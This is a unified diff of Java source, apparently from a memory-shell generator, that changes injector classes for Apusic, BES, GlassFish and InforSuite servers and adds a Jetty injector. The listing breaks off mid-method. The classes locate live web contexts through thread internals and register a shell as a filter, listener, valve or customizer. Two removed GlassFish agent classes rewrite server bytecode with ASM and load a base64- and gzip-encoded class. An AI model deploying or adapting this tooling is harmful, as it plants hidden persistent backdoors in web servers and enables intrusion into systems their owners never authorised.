return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,16 +31,21 @@ public class ApusicServletInjector {
} }
public ApusicServletInjector() { public ApusicServletInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +54,7 @@ public class ApusicServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -71,8 +75,8 @@ public class ApusicServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class BesFilterInjector { public class BesFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class BesFilterInjector {
} }
public BesFilterInjector() { public BesFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class BesFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -55,7 +62,7 @@ public class BesFilterInjector {
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
try { try {
r = (String) invokeMethod(context, "getContextPath", null, null); r = (String) getFieldValue(context, "encodedPath");
} catch (Exception ignored) { } catch (Exception ignored) {
} }
String c = context.getClass().getName(); String c = context.getClass().getName();
@@ -72,8 +79,8 @@ public class BesFilterInjector {
* com.bes.enterprise.webtier.core.DefaultContext * com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar * /opt/bes/lib/bes-engine.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -83,6 +90,16 @@ public class BesFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesListenerInjector { public class BesListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -26,16 +27,21 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class BesListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -51,7 +58,7 @@ public class BesListenerInjector {
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
try { try {
r = (String) invokeMethod(context, "getContextPath", null, null); r = (String) getFieldValue(context, "encodedPath");
} catch (Exception ignored) { } catch (Exception ignored) {
} }
String c = context.getClass().getName(); String c = context.getClass().getName();
@@ -64,8 +71,8 @@ public class BesListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -75,6 +82,16 @@ public class BesListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesValveInjector { public class BesValveInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class BesValveInjector {
} }
public BesValveInjector() { public BesValveInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class BesValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -50,7 +57,7 @@ public class BesValveInjector {
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
try { try {
r = (String) invokeMethod(context, "getContextPath", null, null); r = (String) getFieldValue(context, "encodedPath");
} catch (Exception ignored) { } catch (Exception ignored) {
} }
String c = context.getClass().getName(); String c = context.getClass().getName();
@@ -63,8 +70,8 @@ public class BesValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -74,6 +81,16 @@ public class BesValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -1,215 +0,0 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,215 +0,0 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -18,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishFilterInjector { public class GlassFishFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,16 +31,21 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +54,7 @@ public class GlassFishFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -75,8 +79,8 @@ public class GlassFishFilterInjector {
* com.sun.enterprise.web.WebModule * com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar * /xxx/modules/web-glue.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishValveInjector { public class GlassFishValveInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -26,16 +27,21 @@ public class GlassFishValveInjector {
public GlassFishValveInjector() { public GlassFishValveInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class GlassFishValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -64,8 +71,8 @@ public class GlassFishValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public class InforSuiteFilterInjector {
} }
public InforSuiteFilterInjector() { public InforSuiteFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public class InforSuiteFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -73,8 +80,8 @@ public class InforSuiteFilterInjector {
* com.cvicse.loong.enterprise.web.WebModule * com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar * /usr/local/inforsuite/as/modules/web-glue.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -0,0 +1,220 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JettyCustomizerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public JettyCustomizerInjector() {
if (ok) {
return;
}
Object channel = null;
try {
channel = getChannel();
} catch (Throwable throwable) {
msg += "channel error: " + getErrorMessage(throwable);
}
if (channel == null) {
msg += "channel not found";
} else {
try {
msg += ("channel: [" + channel + "] ");
Object shell = getShell(channel);
inject(channel, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}
public void inject(Object channel, Object shell) throws Exception {
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
for (Object customizer : customizers) {
if (customizer.getClass().getName().equals(getClassName())) {
return;
}
}
customizers.add(shell);
}
@Override
public String toString() {
return msg;
}
/**
* org.eclipse.jetty.server.HttpChannel
*/
private Object getChannel() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
return getFieldValue(threadLocalValue, "_channel");
}
}
}
}
} catch (Exception e) {
}
}
return null;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
